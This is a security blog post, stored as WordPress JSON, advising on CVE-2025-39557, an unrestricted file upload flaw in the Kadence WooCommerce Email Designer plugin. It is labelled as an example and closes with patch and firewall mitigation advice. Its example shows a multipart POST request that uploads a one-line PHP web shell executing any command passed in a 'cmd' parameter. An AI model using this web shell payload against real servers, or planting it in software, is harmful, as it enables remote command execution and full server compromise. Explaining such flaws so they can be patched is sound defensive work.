{"id":29412,"date":"2025-04-23T04:50:38","date_gmt":"2025-04-23T04:50:38","guid":{"rendered":""},"modified":"2025-05-06T12:25:17","modified_gmt":"2025-05-06T12:25:17","slug":"cve-2025-39557-severe-unrestricted-file-upload-vulnerability-in-kadence-woocommerce-email-designer","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-39557-severe-unrestricted-file-upload-vulnerability-in-kadence-woocommerce-email-designer\/","title":{"rendered":"<strong>CVE-2025-39557: Severe Unrestricted File Upload Vulnerability in Kadence WooCommerce Email Designer<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the ever-evolving landscape of cybersecurity, vulnerabilities pose a significant threat to system integrity and data protection. CVE-2025-39557 is one such vulnerability that affects the Kadence WooCommerce Email Designer, a popular email design tool for WooCommerce by Ben Ritner &#8211; Kadence WP. This vulnerability allows for Unrestricted Upload of Files with Dangerous Type, which can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50350-broken-cryptographic-algorithm-leads-to-potential-data-leakage-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33671\">lead to potential system compromise or data leakage<\/a>. With a CVSS Severity Score of 9.1, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32687-critical-sql-injection-vulnerability-in-magnigenie-review-stars-count-for-woocommerce\/\"  data-wpil-monitor-id=\"33730\">vulnerability is considered critical<\/a> and requires immediate attention and mitigation.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-39557<br \/>\nSeverity: Critical (9.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-52304-stack-overflow-vulnerability-in-paddlepaddle-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"34032\">Potential system<\/a> compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-831316624\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Kadence WooCommerce Email Designer | Up to and including 1.5.14<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of an unrestricted <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-45724-unauthenticated-file-upload-vulnerability-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33976\">file upload vulnerability<\/a> in the Kadence WooCommerce Email Designer. This allows an attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31478-zulip-server-vulnerability-allowing-unauthorized-account-creation\/\"  data-wpil-monitor-id=\"40321\">upload<\/a> a specially crafted web shell to the server. A web shell is a malicious script that <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48243-critical-remote-code-execution-vulnerability-allowing-unauthorized-file-upload\/\"  data-wpil-monitor-id=\"34117\">allows remote<\/a> administration of the server. Once uploaded, this web shell can be used to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21860-arbitrary-code-execution-vulnerability-in-openharmony\/\"  data-wpil-monitor-id=\"33856\">execute arbitrary<\/a> commands on the server, potentially leading to a full system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4166887217\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-13744-arbitrary-file-upload-vulnerability-in-booster-for-woocommerce-wordpress-plugin\/\"  data-wpil-monitor-id=\"34570\">vulnerability might be exploited using a POST request to upload<\/a> the malicious web shell:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/upload.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;webshell.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In the above example, the attacker is uploading a PHP web shell that uses the system function to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28137-critical-pre-auth-remote-command-execution-vulnerability-in-totolink-a810r\/\"  data-wpil-monitor-id=\"34766\">execute any command<\/a> passed to it via the cmd parameter. Once uploaded, the attacker can execute arbitrary commands by making requests to the uploaded web shell, potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0213-buffer-overflow-vulnerability-in-ta-for-linux-and-macos-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"33893\">leading to a full system<\/a> compromise or data leakage.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate this vulnerability, users of the affected Kadence WooCommerce Email Designer versions are advised to apply the vendor-supplied patch immediately. As an interim measure, users can also use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent attempts to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50123-exploitable-vulnerability-in-hozard-alarm-system-sms-authentication\/\"  data-wpil-monitor-id=\"34948\">exploit this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the ever-evolving landscape of cybersecurity, vulnerabilities pose a significant threat to system integrity and data protection. CVE-2025-39557 is one such vulnerability that affects the Kadence WooCommerce Email Designer, a popular email design tool for WooCommerce by Ben Ritner &#8211; Kadence WP. This vulnerability allows for Unrestricted Upload of Files with Dangerous Type, which [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-29412","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/29412","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=29412"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/29412\/revisions"}],"predecessor-version":[{"id":35633,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/29412\/revisions\/35633"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=29412"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=29412"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=29412"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=29412"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=29412"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=29412"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=29412"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=29412"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=29412"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}